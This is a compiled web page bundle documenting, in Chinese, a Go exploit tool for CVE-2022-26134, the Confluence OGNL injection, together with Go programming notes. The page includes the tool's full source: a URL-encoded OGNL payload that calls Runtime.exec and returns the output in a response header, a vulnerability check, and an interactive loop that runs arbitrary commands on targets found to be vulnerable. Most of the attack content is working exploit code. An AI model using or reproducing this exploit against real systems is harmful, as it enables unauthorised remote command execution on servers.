t={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",p:"p",pre:"pre",...(0,s.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(t.header,{children:(0,i.jsx)(t.h1,{id:"cve-2022-26134",children:"CVE-2022-26134"})}),"\n",(0,i.jsxs)(t.blockquote,{children:["\n",(0,i.jsx)(t.p,{children:"[!Note]"}),"\n",(0,i.jsxs)(t.p,{children:["\u9879\u76ee\uff1a",(0,i.jsx)(t.a,{href:"https://github.com/wjlin0/CVE-2022-26134",children:"CVE-2022-26134-wjlin0"})]}),"\n"]}),"\n",(0,i.jsx)(t.h2,{id:"\u77e5\u8bc6\u70b9",children:"\u77e5\u8bc6\u70b9"}),"\n",(0,i.jsx)(t.h3,{id:"flag\u5305\u4f7f\u7528",children:"flag\u5305\u4f7f\u7528"}),"\n",(0,i.jsxs)(t.blockquote,{children:["\n",(0,i.jsx)(t.p,{children:"\u8bbe\u7f6e\u53c2\u6570\u904d\u5386"}),"\n"]}),"\n",(0,i.jsx)(t.pre,{children:(0,i.jsx)(t.code,{className:"language-go",children:'flag.StringVar(&proxy, "proxy", "", "\u4ee3\u7406")\nflag.StringVar(&target, "url", "", "\u76ee\u6807")\nflag.StringVar(&listUrl, "list", "", "\u76ee\u6807\u5217\u8868")\n'})}),"\n",(0,i.jsx)(t.h3,{id:"\u6587\u4ef6\u8bfb\u5199",children:"\u6587\u4ef6\u8bfb\u5199"}),"\n",(0,i.jsx)(t.pre,{children:(0,i.jsx)(t.code,{className:"language-go",children:'if listUrl != "" {\n fmt.Println("\u6b63\u5728\u6253\u5f00\u6587\u4ef6")\n filePath := listUrl\n file, err := os.Open(filePath)\n if err != nil {\n fmt.Println("\u6587\u4ef6\u6253\u5f00\u5931\u8d25", err)\n }\n defer file.Close()\n //\u8bfb\u539f\u6765\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u5e76\u4e14\u663e\u793a\u5728\u7ec8\u7aef\n reader := bufio.NewScanner(file)\n for {\n if !reader.Scan() {\n break\n }\n target := reader.Text()\n target = strings.TrimSpace(target)\n targets = append(targets, urlHandler(target))\n }\n'})}),"\n",(0,i.jsx)(t.h3,{id:"\u5b57\u7b26\u4e32\u66ff\u6362",children:"\u5b57\u7b26\u4e32\u66ff\u6362"}),"\n",(0,i.jsx)(t.pre,{children:(0,i.jsx)(t.code,{className:"language-go",children:'if !strings.HasPrefix(target, "http") {\n target = "http://" + target\n}\n// \u6709/\u7ed3\u5c3e\u7684\u5c31\u53bb\u6389/\nif strings.HasSuffix(target, "/") { // \u53bb\u6389\u540e\u7f00 /\n target = strings.TrimSuffix(target, "/")\n //fmt.Println(target)\n}\n'})}),"\n",(0,i.jsx)(t.h3,{id:"\u8bbe\u7f6e\u8bf7\u6c42\u4ee3\u7406",children:"\u8bbe\u7f6e\u8bf7\u6c42\u4ee3\u7406"}),"\n",(0,i.jsx)(t.pre,{children:(0,i.jsx)(t.code,{className:"language-go",children:'if proxy != "" {\n url_i := url.URL{}\n urlProxy, error := url_i.Parse(proxy)\n if error != nil {\n fmt.Println(error.Error())\n return\n }\n transport = &http.Transport{Proxy: http.ProxyURL(urlProxy)}\n fmt.Println("\u8bbe\u7f6e\u4ee3\u7406: ", proxy, " \u6210\u529f")\n}\n'})}),"\n",(0,i.jsx)(t.h3,{id:"\u7528\u6237\u8bfb\u5165",children:"\u7528\u6237\u8bfb\u5165"}),"\n",(0,i.jsxs)(t.blockquote,{children:["\n",(0,i.jsx)(t.p,{children:"\u5229\u7528bufio\u89e3\u51b3 Scanf\u3001Scan\u3001Scanln\u4e0d\u8bfb\u5165\u7a7a\u683c\u7684\u95ee\u9898"}),"\n"]}),"\n",(0,i.jsx)(t.pre,{children:(0,i.jsx)(t.code,{className:"language-go",children:'fmt.Print("\\n\u8f93\u5165\u547d\u4ee4\uff1a")\nreader := bufio.NewReader(os.Stdin)\ncom, _, _ := reader.ReadLine()\nif string(com) != "" {\n break\n}\n'})}),"\n",(0,i.jsx)(t.h3,{id:"\u4ea4\u53c9\u7f16\u8bd1",children:"\u4ea4\u53c9\u7f16\u8bd1"}),"\n",(0,i.jsx)(t.h4,{id:"windows\u7f16\u8bd1",children:"windows\u7f16\u8bd1"}),"\n",(0,i.jsxs)(t.blockquote,{children:["\n",(0,i.jsx)(t.p,{children:"[!Tip]"}),"\n",(0,i.jsx)(t.p,{children:"windows\u4e0b\u7f16\u8bd1\u4e09\u79cd\u7cfb\u7edf"}),"\n"]}),"\n",(0,i.jsx)(t.pre,{children:(0,i.jsx)(t.code,{className:"language-powershell",children:'set CGO_ENABLED=0\nset GOARCH=amd64\nset GOOS=windows\ngo build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_windows.exe\n'})}),"\n",(0,i.jsx)(t.pre,{children:(0,i.jsx)(t.code,{className:"language-powershell",children:'set CGO_ENABLED=0\nset GOARCH=amd64\nset GOOS=linux\ngo build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_linux\n'})}),"\n",(0,i.jsx)(t.pre,{children:(0,i.jsx)(t.code,{className:"language-powershell",children:'set CGO_ENABLED=0\nset GOARCH=amd64\nset GOOS=darwin \ngo build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_darwin\n'})}),"\n",(0,i.jsx)(t.h4,{id:"linux-\u7f16\u8bd1",children:"linux \u7f16\u8bd1"}),"\n",(0,i.jsxs)(t.blockquote,{children:["\n",(0,i.jsx)(t.p,{children:"[!Tip]"}),"\n",(0,i.jsx)(t.p,{children:"linux \u4e0b\u7f16\u8bd1\u4e09\u79cd\u7cfb\u7edf"}),"\n"]}),"\n",(0,i.jsx)(t.pre,{children:(0,i.jsx)(t.code,{className:"language-bash",children:'CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_darwin\nCGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_windows.exe\nCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_linux\n'})}),"\n",(0,i.jsx)(t.h4,{id:"mac\u7f16\u8bd1",children:"Mac\u7f16\u8bd1"}),"\n",(0,i.jsxs)(t.blockquote,{children:["\n",(0,i.jsx)(t.p,{children:"[!Tip]"}),"\n",(0,i.jsx)(t.p,{children:"Mac\u4e0b\u7f16\u8bd1\u4e09\u79cd\u7cfb\u7edf"}),"\n"]}),"\n",(0,i.jsx)(t.pre,{children:(0,i.jsx)(t.code,{className:"language-bash",children:'CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_darwin\nCGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_windows.exe\nCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_linux\n'})}),"\n",(0,i.jsx)(t.h2,{id:"\u4ee3\u7801",children:"\u4ee3\u7801"}),"\n",(0,i.jsx)(t.pre,{children:(0,i.jsx)(t.code,{className:"language-go",children:'package main\n\nimport (\n\t"bufio"\n\t"bytes"\n\t"flag"\n\t"fmt"\n\t"io"\n\t"net/http"\n\t"net/url"\n\t"os"\n\t"strings"\n)\n\nvar target string\nvar targets []string\nvar listUrl string\nvar proxy string\nvar transport = &http.Transport{}\n\nfunc Init() {\n\tflag.StringVar(&proxy, "proxy", "", "\u4ee3\u7406")\n\tflag.StringVar(&target, "url", "", "\u76ee\u6807")\n\tflag.StringVar(&listUrl, "list", "", "\u76ee\u6807\u5217\u8868")\n}\nfunc Banner() {\n\tfmt.Println(`\n __.__ .__ _______ \n__ _ __ |__| | |__| ____ \\ _ \\ \n\\ \\/ \\/ / | | | | |/ \\/ /_\\ \\ \n \\ / | | |_| | | \\ \\_/ \\\n \\/\\_/\\__| |____/__|___| /\\_____ /\n \\______| \\/ \\/ \n CVE-2022-26134`)\n}\n\nfunc urlHandler(target string) string {\n\tif !strings.HasPrefix(target, "http") {\n\t\ttarget = "http://" + target\n\t}\n\t// \u6709/\u7ed3\u5c3e\u7684\u5c31\u53bb\u6389/\n\tif strings.HasSuffix(target, "/") { // \u53bb\u6389\u540e\u7f00 /\n\t\ttarget = strings.TrimSuffix(target, "/")\n\t\t//fmt.Println(target)\n\t}\n\n\treturn target\n}\n\nfunc checkProxy() {\n\tif proxy != "" {\n\t\turl_i := url.URL{}\n\t\turlProxy, error := url_i.Parse(proxy)\n\t\tif error != nil {\n\t\t\tfmt.Println(error.Error())\n\t\t\treturn\n\t\t}\n\t\ttransport = &http.Transport{Proxy: http.ProxyURL(urlProxy)}\n\t\tfmt.Println("\u8bbe\u7f6e\u4ee3\u7406: ", proxy, " \u6210\u529f")\n\t}\n}\n\nfunc checkArgs() {\n\tif target != "" {\n\t\ttargets = append(targets, urlHandler(target))\n\t}\n\tif listUrl != "" {\n\t\tfilePath := listUrl\n\t\tfile, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE, 066)\n\t\tif err != nil {\n\t\t\tfmt.Println("\u6587\u4ef6\u6253\u5f00\u5931\u8d25", err)\n\t\t}\n\t\tdefer file.Close()\n\t\t//\u8bfb\u539f\u6765\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u5e76\u4e14\u663e\u793a\u5728\u7ec8\u7aef\n\t\treader := bufio.NewReader(file)\n\t\tfor {\n\t\t\ttarget, err := reader.ReadString(\'\\n\')\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\ttargets = append(targets, urlHandler(target))\n\t\t}\n\t}\n\tif targets == nil {\n\t\t//flag.Usage()\n\t\tos.Exit(0)\n\t}\n}\nfunc check(t string) (b bool) {\n\tb = false\n\tvulurl := t + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"\n\treq, er := http.NewRequest("GET", vulurl, bytes.NewReader([]byte{}))\n\tif er != nil {\n\t\tfmt.Println(er)\n\t\tfmt.Println("\u8bf7\u6c42\u5931\u8d25")\n\t\treturn\n\t}\n\treq.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0")\n\tclient := http.Client{Transport: transport, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }}\n\tresp, er := client.Do(req)\n\tif er != nil {\n\t\treturn\n\t}\n\tstatus := resp.StatusCode\n\theader := resp.Header.Get("X-Cmd-Response")\n\tif header == "" && status == 302 {\n\t\tb = false\n\t\tfmt.Println("\u76ee\u6807\uff1a", t, "\u4e0d\u5b58\u5728\u6f0f\u6d1e")\n\t} else {\n\t\tb = true\n\t\tfmt.Println("\u76ee\u6807\uff1a", t, "\u5b58\u5728\u6f0f\u6d1e")\n\t}\n\treturn\n\n}\nfunc exp(t string, comm string) {\n\tvulurl := t + `/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22` + comm + `%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/`\n\treq, er := http.NewRequest("GET", vulurl, bytes.NewReader([]byte{}))\n\tif er != nil {\n\t\tfmt.Println(er)\n\t\tfmt.Println("\u8bf7\u6c42\u5931\u8d25")\n\t\treturn\n\t}\n\tclient := http.Client{Transport: transport, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }}\n\tresp, _ := client.Do(req)\n\tres := resp.Header.Get("X-Cmd-Response")\n\tres = strings.TrimSpace(res)\n\tfmt.Print("\\n\u6267\u884c\u7ed3\u679c\uff1a\\n")\n\tfmt.Printf("%v", res)\n}\nfunc main() {\n\tfmt.Println(os.Args)\n\tBanner()\n\tInit()\n\tflag.Parse()\n\tcheckArgs()\n\tcheckProxy()\n\tvar successTargets []string\n\tfor _, t := range targets {\n\t\tb := check(t)\n\t\tif b {\n\t\t\tsuccessTargets = append(successTargets, t)\n\t\t}\n\t}\n\tif successTargets != nil {\n\t\tvar i int\n\t\tvar t string\n\t\tvar comm string\n\n\t\tfmt.Println("\u9009\u62e9\u76ee\u6807\uff1a")\n\t\tfor i, tar := range successTargets {\n\t\t\tfmt.Println("\u76ee\u6807\uff1a", tar, " , ", i)\n\t\t}\n\t\tif len(successTargets) == 1 {\n\t\t\tt = successTargets[0]\n\t\t} else {\n\t\t\t_, err := fmt.Scanln(&i)\n\t\t\tif err != nil {\n\t\t\t\tt = successTargets[0]\n\t\t\t}\n\t\t}\n\n\t\tt = successTargets[i]\n\t\tfor {\n\t\t\tfmt.Print("\\n\u8f93\u5165\u547d\u4ee4\uff1a")\n\t\t\treader := bufio.NewReader(os.Stdin)\n\t\t\tcom, _, _ := reader.ReadLine()\n\t\t\tif string(com) == "" {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tcomm = strings.Replace(string(com), " ", "%20", -1)\n\t\t\texp(t, comm)\n\t\t}\n\t} else {\n\t\tfmt.Println("\u6ca1\u6709\u76ee\u6807\u5b58\u5728\u6f0f\u6d1e")\n\t}\n\n}\n\n'})}),"\n",(0,i.jsx)(t.h2,{id:"\u9047\u5230\u7684\u95ee\u9898",children:"\u9047\u5230\u7684\u95ee\u9898"}),"\n",(0,i.jsx)(t.h3,{id:"go-get-\u9047\u5230\u7684\u95ee\u9898",children:"go get \u9047\u5230\u7684\u95ee\u9898"}),"\n",(0,i.jsxs)(t.blockquote,{children:["\n",(0,i.jsx)(t.p,{children:"[!DANGER]"}),"\n",(0,i.jsxs)(t.p,{children:["go get \u65f6 \u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528 ",(0,i.jsx)(t.code,{children:"go get -u -v github.com/wjlin0/CVE-2022-26134"})," \u5c31\u53ef\u5c06\u4e8c\u8fdb\u5236\u6587\u4ef6\u62c9\u53bb\u81f3",(0,i.jsx)(t.code,{children:"$GOPATH/bin/"}),"\u76ee\u5f55\u4e0b\u5982\u679c\u8bbe\u7f6e\u4e86\u5168\u5c40\u53d8\u91cf\u5c31\u53ef\u76f4\u63a5\u4f7f\u7528\uff0c\u800c\u4e0d\u9700\u8981 ",(0,i.jsx)(t.code,{children:"go mod init github.com/wjlin0/CVE-2022-26134"})," \u4e4b\u540e\u518d ",(0,i.jsx)(t.code,{children:"go get -u -v github.com/wjlin0/CVE-2022-26134"})," \u56e0\u4e3a\u4ed6\u4e0d\u662f\u4e00\u4e2a\u8f6f\u4ef6\u5305\u5982\u4e0b\u56fe"]}),"\n"]}),"\n",(0,i.jsx)(t.p,{children:(0,i.jsx)(t.img,{alt:"image-20221226014043696",src:e(91301).A+"",width:"404",height:"92"})}),"\n",(0,i.jsx)(t.h3,{id:"bufionewreaderreadstring",children:"bufio.NewReader.ReadString"}),"\n",(0,i.jsxs)(t.blockquote,{children:["\n",(0,i.jsx)(t.p,{children:"[!DANGER]"}),"\n",(0,i.jsxs)(t.p,{children:["\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u6587\u4ef6\u82e5\u6700\u540e\u4e00\u6392\u6ca1\u6709",(0,i.jsx)(t.code,{children:"\\n"})," \u5219",(0,i.jsx)(t.code,{children:"reader.ReadString('\\n')"})," \u4f1a\u4ea7\u751f\u4e00\u4e2a\u9519\u8bef\uff0c\u90a3\u4e48\u6700\u540e\u4e00\u6392\u7684\u6570\u636e\u4e5f\u6b63\u662f\u6211\u4eec\u9700\u8981\u7684\uff0c\u6240\u4ee5\u4e5f\u8981\u518d\u6b21\u505a\u4e00\u4e2a\u5224\u65ad\u6dfb\u52a0"]}),"\n"]}),"\n",(0,i.jsx)(t.pre,{children:(0,i.jsx)(t.code,{className:"language-go",children:'reader := bufio.NewReader(file)\nfor {\n target, err := reader.ReadString(\'\\n\')\n if err != nil {\n if err == io.EOF {\n if target != "" {\n targets = append(targets, urlHandler(target))\n }\n break\n }\n }\n //fmt.Printf("%#v\\n", target)\n target = strings.TrimSpace(target)\n //fmt.Printf("%#v\\n", target)\n targets = append(targets, urlHandler(target))\n}\n'})}),"\n",(0,i.jsx)(t.p,{children:(0,i.jsx)(t.img,{alt:"image-20221226125038280",src:e(8391).A+"",width:"1091",height:"296"})}),"\n",(0,i.jsxs)(t.blockquote,{children:["\n",(0,i.jsx)(t.p,{children:"[!DANGER]"}),"\n",(0,i.jsxs)(t.p,{children:["\u5728\u8bfb\u5165\u65f6",(0,i.jsx)(t.code,{children:"ReadString('\\n')"})," \uff0c\u4f1a\u5c06 \\n \u4e00\u5757\u8bfb\u5165\uff0c\u9700\u8981\u7528\u6237\u81ea\u884c\u5904\u7406 ",(0,i.jsx)(t.code,{children:"\\r\\n"})," \u6216\u8005 ",(0,i.jsx)(t.code,{children:"\\n"})]}),"\n"]}),"\n",(0,i.jsx)(t.p,{children:(0,i.jsx)(t.img,{alt:"image-20221226124550770",src:e(25983).A+"",width:"417",height:"127"})}),"\n",(0,i.jsx)(t.h3,{id:"go-\u4ee3\u7406\u7f13\u5b58\u62c9\u53d6\u4e0d\u5230\u6700\u65b0\u7248\u672c",children:"go \u4ee3\u7406\u7f13\u5b58\u62c9\u53d6\u4e0d\u5230\u6700\u65b0\u7248\u672c"}),"\n",(0,i.jsxs)(t.blockquote,{children:["\n",(0,i.jsx)(t.p,{children:"[!DANGER]"}),"\n",(0,i.jsxs)(t.p,{children:["\u4f7f\u7528\u4e86\u4ee3\u7406\uff0c\u6211\u7684GOPROXY\u8bbe\u7f6e\u4e3a ",(0,i.jsx)(t.code,{children:"https://goproxy.cn,direct"}),"\u4e86\uff0c\u5927\u6982\u7387\u662f\u8fd9\u4e2a\u4ee3\u7406\u81ea\u5df1\u6709\u7f13\u5b58\uff0c\u6240\u4ee5\u6211\u65e0\u6cd5\u83b7\u53d6\u5230\u66f4\u65b0\u4e4b\u540e\u7684\u6a21\u5757A\u3002"]}),"\n"]}),"\n",(0,i.jsx)(t.p,{children:"\u89e3\u51b3\u65b9\u6cd5\u5c31\u662f\u66f4\u6539GOPROXY\u7684\u8bbe\u7f6e"}),"\n",(0,i.jsx)(t.pre,{children:(0,i.jsx)(t.code,{className:"language-bash",children:"go env -w GOPROXY=https://goproxy.io,direct \n"})}),"\n",(0,i.jsx)(t.h2,{id:"\u8fd0\u884c\u5b9e\u4f8b\u56fe",children:"\u8fd0\u884c\u5b9e\u4f8b\u56fe"}),"\n",(0,i.jsx)(t.p,{children:(0,i.jsx)(t.img,{alt:"image-20221225232018339",src:e(82026).A+"",width:"1876",height:"599"})})]})}function d(n={}){const{wrapper:t}={...(0,s.R)(),...n.components};return t?(0,i.jsx)(t,{...n,children:(0,i.jsx)(c,{...n})}):c(n)}},82026:(n,t,e)=>{e.d(t,{A:()=>r});const r=e.p+"assets/images/image-20221225232018339-cca8c8d087dee029fb54820fe74b335e.png"},91301:(n,t,e)=>{e.d(t,{A:()=>r});const r="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAZQAAABcCAYAAABJCUPNAAAYmUlEQVR4nO2dvY7qXHfH/47eBt8GiGmgjYsUgQakiZAsLiCNqSKDpkhkcQXIHbFRKtzkApAllFFMM6R0Dc3w2LmElKZ7nWL7Y/sTM+PnPO9zzvpJSHP8sffytr3+e621OQj3+z0EQRAEQXyTv/ujDSAIgiB+DkhQCIIgiFb4S93O2+32o+wgCIIgWqbf7//Q/gSqoRAEQRBtQCkvgiAIohVIUAiCIIhWIEEhCIIgWoEEhSAIgmgFEhSCIAiiFUhQCIIgiFYgQSEIgiBagQSFIAiCaIXWBCX0DIw6Ixhe8XuSYehArdhX22bowRh1oDp/7u9e8mPDxkKFE4a1Y0b8vLBnoINO5Yc9H5lzPAOjTgcjw4ExanZOcq6jojMy4FXsfwbPGNXYnfuozlPXG7/vz7b/2KbysfGMUdJGHcyu7Htati3fNu+3Qs/AqKav0FExMrzCtir7eD/yt0StoHxVCH4F2Av+425o9qWsEO6cTYUXOXo4HbVT+qB6xgidkYHf/vpbyYtdf62ho3LH5l++attrz6vZ96wNxf3Z64ltLLzUGdvLxyB/brP3RoEdBLjf75lPEFygS+lRsbMUhzesgwAfy27h3CCwoXAtO2r23omyBbgahqKYvadfEJne6ly0+aJDggT9krue3fSp6xWEHlbne+GYQl+SjksQZNqX9Ev58bnxzF/Lpb8p3PMC/jsOgzVWPaF+W0QYeng/DDCbpNtOWw0DfkOO0/GK+WsXAOCoj59139zAUmaYCsX+/0gaRCgDvHQfHyX0Vjjfz1j1hJ8msqjDfz8A+lujG8qPTZPtecLQgzmWcY1emsAeQBsuC86Ntyl0VIiiDNic45kdMTI8TGYKYB1zDtXD+8GFsl6iF12TYvMOYFd5rWHoYLnps5c8Z1+d7fXnVe971gaAiYnI7Y+vJ35WRfGIjFdOxv2IWXSOrViQl6dC3765gVXY+ui9sSDnHXynA1EcQnPTo3qrc0EwmpC9dxWf8yq519/htNXgKuXONaXZ9X4VVxuWRieP2u8u95gfFpUOPHRUiEMNriVnJir++4Hblm73jFHUZ3y9Ixieg6MFWHK5oIeegc11jtcue46P0d9VhKGDreYCmf6zn4ci+TtBNZQvwG4okhnF747/joOrYL2M+pu8QZcsHDnfxtsUhg6WsgXFDrCbpi+5MN3hvOoBkxkUZM+P+6iZRFUiCFPseOc0mUHBFZ9+ve1159W2+aQNYejB3Fyh75cFB5rOineYFdrsYXVOhXQyU4DrZ2ZWH3oGFoc59Gc9foMZeyp2MqzIIY9NH3nnzPYXyUcq341OyggdFbKlwDYfPTjNIjKgIoX1IDX1MEI5LSva8HFzXWjb4kQh33Zq6wnbw5ybnNxhR/e/tzrjokucoJ/xsk0nVPzx0vwVPUFg4jR4Yc/m6QgriiZF2cqIRiwSLDqxKycK9tPPYnvUCoogTLHjZqaF1IWhZlR21FHx3391sIxmBZYsRvujBt+XxfxqPk1Tmko6ZVI3VZFPPsWTTUGUp2+S9ITDctRx+3x6pKD2pyMsic0iHLXYT2xfnLv+7bfy9Bh/rYkdRkm//g0uF94KQg8vA+DKe1fOJva3jreKd1wQpmBBSvoS+e+HTB/f4nSEFc/Qm9hedt4z+x7a8I4D5sBW/NYM7nS0EicAREK10DBYL/HCHZd/b8p5PGOPxS6IPYRi47yaVqSFiv1Nd8wJXqJUVOIQJR2Xj6K4PkvoGRjLFiTpiuPJr60pPBuh8ALBUmpfI54UdD+vkPolD8/pCEvRoV83jVP7t+0GWJePX5Lu6poYjQx4noHNVcd+2U3qJCG/LY42wE184vtlKwAnHOdVD6GjYngApEJ0kh37QeMXpV0aRyhh6GDJpVCCYA8civMiQZjAjB5cxQ6isBoAXGi3WfqAWM1voCWnaYfAVmDJxdRHbB8/EziveqXbAxuQRb4NF9oG2AdB1L4I8ZjaCm2b6e90tJLUULcvwb358Q5cJSlxlqkDajrK2TGCxkJx//P68EzepiZM3nRIUdorSXflwpNMiN6geAmkTkaxTUwFoZHtZec13deoLf8G19VwmwWFsW3SVjzROM4CFuFFnJZDHOaXTBTYBCY4demorDicPq+QoEDvHzMTjuo0h4TEd/o+tgsxct4LYB+0kuoKQwfLoQboF+znANDF8mON21AsPCvPXu+zdF/nQEXKK/4MtUEaJSfX4MHcWFBmSyzXg8ooJU6nxeLXf/vA7CiWT2z9dxwGMyRvUneJc268hd4q2eabG1wVhQlmTV0m5nS8Qt+vMYjrSA/qRD+a5imv3KxXEHpYrp+JrSTo8cndV8yfGICMIylJ9/D27XMPTen2QhtSmg6ZzKBkbH3BgEu1hJ6BjZWmhrqv88Qxn45XzPdrDA7v8EIPn1fpybRY+Rh1Xwa1Z+VtakT3FfN4DCrSXZk8fFQArSuwe8YI4vCA+SVNtT2yveq8un3P2gAA4J/d3gprxcXhvSJ/xsHqXGwMZkcxjcgdFfK15HlrcK2NVjBFIh6GDj4xxwDAy3KGWzThuN/vuOhSZibPi91tO46K+TKsJAJwoQ2fnyTkietilmJn+oyFw4acZAG+sirsWfh7VJb+Yc9xiWidttAQPReTt8oopZjyYtFfmajEtRVxqMGNUlfxMf7nNZ18xsdjjv1bP72OzEKGItPdGcsuMoss2qpDtcEvXEPhZnFPUEgNdV8xl6749E9RMa2LPg54P7E0S2tlFi53H4YePq9pWFuwaTKD4h5Q5y8FoYfXuQTreHoq3ZWdbaYLChy1g+FtndnWxPa686r2PW1Dt//llAnPxLShuAf8l8dmtvxLzRZSDR/WJkpXSeVSG7yI++YReI0TahOYJhIxHWouV4yOl6V7+LwOMDM/avuwFRQi0iawiH8IbWDnVnGlTHdRFmBsAsuPp643hi+yi0MNZf6yyTJjmS+Gc/cmqTNGUT2bIFdHKWVMzAv6m2y2JL6//Gq03VRIsgDIZWamqxViF5Fdhdgp1FAyzxYXofDvQRhNZL/i29qguaBMZlBcDfF4x+FiO6QRgP9+KDw8mVy/uYAWzaYz3+Mo2OfAMLxk+8Lk6w1baF9w9mWpIeaYgcNiA2vwgl78780B4PLt32LyBh3ptfEzq3KbpnjTAW04LizD5WsHLLraYHFAGhl9gThCKi3M1tlec15tm8/a0H3FHOkzwI59HD3mvzvgmxtY0hz/1Csub7WVaCbbMJ3kqLlaYD4nHjkPH/3Mc8qLaTZCiUXUxw191F1ZnMPnbzlfC6w8L4pMYAeVYpLYOd1lxqLp9cYUiuwl/fHLjIOLDqWkMJ9GKNlVbaclS4PnF63YkBvX1+L6zAQ+SjO78YRDdZjfGths9eHCLJ10CNNdvfDWPFvJ8nJxyHwbohrOD/6eSmNBEYQpzIuOq8zlY+flKa9k9psvypcd21thryMJxRe3QWE2qeCYyYXaQTGXXrTviJdll20PbAz4GY8M2F8pSvrvOKBY7O6+zgE3ders3+2tAhOEHpZ77tp4+yts6q3O0dJZbjXQcZZJUbDoyoVbIa7ZZY41BVf/Brek6Ko64QPbq8+r3fcVGz7SZ0AcahjYHw+Xawu9Ffb9TfbZa6GY7RkjNnPecI4lP2OPnAc/g22Cb25wfTCR4XP4AJJZ7aPnNXbgz9aMnrlegD27mec0T7wiisP3X9C/PY4Q46hGhl3ax8S8YH4YZkQlX0Mp4uPmsgUg8co6cajBjaIIGzJ7dswJE62BhqFYvQT+K2Qi3/MKXf+Wrhz7gXzrJ4CTtf0tvGR/Bhy1g03/Uv+wlxB6BsbDG9YlQvhH2UT8MThqB/KVrbLqnpYsrVGFwtJKLM10xCx4w+e4Jl/+9/+KfxP+D//wkdYLPGOEYXSCpJc/J2HoYDn+xNsX32PPGGH78lEqNF+53qJ9HkzuuquuIzneMzBO0mRKZgLa5H2J+zvML/h42WL8+RYt8PFgjhfA/gPL7glLfrl2zvbQMzBeAOv5AfJhXvCRmXHxTYy3L4X6SeiobHFQyZg4KkvnVSNBvzyeNLVNY0Fhg7nFy4cZfSEsXT31Kzgzdr0b9L9wkzxjhGHJQ/VH2kQQBNE2T0UoWeV/PFP41QkdNZqRKaVpOoIgiJ+Jb6W8CIIgCCLmF142TBAEQbQJCQpBEATRCiQoBEEQRCuQoBAEQRCtQIJCEARBtAIJCkEQBNEKf6nbebvdfpQdBEEQRMv0+/0f2h99D4UgCIJoBUp5EQRBEK1AgkIQBEG0AgkKQRAE0QokKARBEEQrkKAQBEEQrUCCQhAEQbQCCQpBEATRCiQoBEEQRCs8LSieMcLI8J46Jgw9GCMVTlj8DqVnjNDpdB580nNZWyMYXphrP7utjNAzMOo8Po4gCIJ4ntYjlDD08H4ABrdFIgiiOITmWpBFMRWJkQEvEglJv+B+v+N+vyO46JAUO/13cIEucR347zgM1tnfUC/bRhAEQfxQagUlDB2ouWhhqLlwtWFlBIHTFtpgjd3unBMFBXYQJNvu5xV6T/7GeuioEIcaXEuO+mXRhv9+4Lal2/MIvRXO9/PfhPCwqKoD1aFoiSCIn4NaQRGEKXaxAESfiy5lIgr22WEqCAhDD+bGgtTvZsSoGKFkHT4vUFnBiM9NbYr7TiOXE7aHOS6cWNnK7zRaBEEQRCWtprx8c5Fx/pB0XIIgE6EUUlh4MuWV47bdAOtlo2iH1VBYNMUEbwTDMTCKxEt1QoSOmohZXAdKo4lsxMZHF8VoLl/34c7/x3/BP0dCacliJv1HEATxZ6VWUBy1WCAvT3l10FEd+LcBbD48cDUMRTEToeQjDgAYvHQbGxz3HbfTf/vA7Ch+MXXkQtsA+yBAYCuwZBHicZYIG7RtZiGBJR8xiyIhdvwyEaelKOPKC6MNyOKy/Pz/+Q/8ZySUih18Kf1HEATxt0atoEx32XRXkIiFBP0SZNNeuymmux0m0RF8uuxRhGLJ4jdSXszOr4mKBH0fRTeTGRRI0N+iK+i+YIArPv30aMU2MY0d/+QNumTheAJwOsKSdOyXnDDy+8vOJwiC+MlonPLyjBHE4yyqoayBxWMH7qhxWsjHDX10AQhCD6tzWhj3by6bpX8x5RUzMS/ob5alS5P/OCT0mwdfBEEQf2oeCgqrO3SwwB733TTa2sXqzKKCzAqvHHHkIIoyrvPXQlonDD18XhXMJqWnPwUTqh0m8PF5/X57ZVhcuMHqRZHtkxkUV8PC5MKZ0xYa5nglQSEI4hfhYQ1FXLAaw3nVK+yf7u4IghmOooiO6lS2I+k6BtqwWHw+baFFkUtT8jWUIj5u7gBPlGUao+DI1ZIGsAOWwhKEKczAZtcYp+pkwP6oXiwgCD28ziUqyhME8dPw9E8Ae8YIC+xLBQZg3xUZf84wP8jQXFZ03k2ZUw09A+OhBhcAFBs2ZBxn6f7kmO0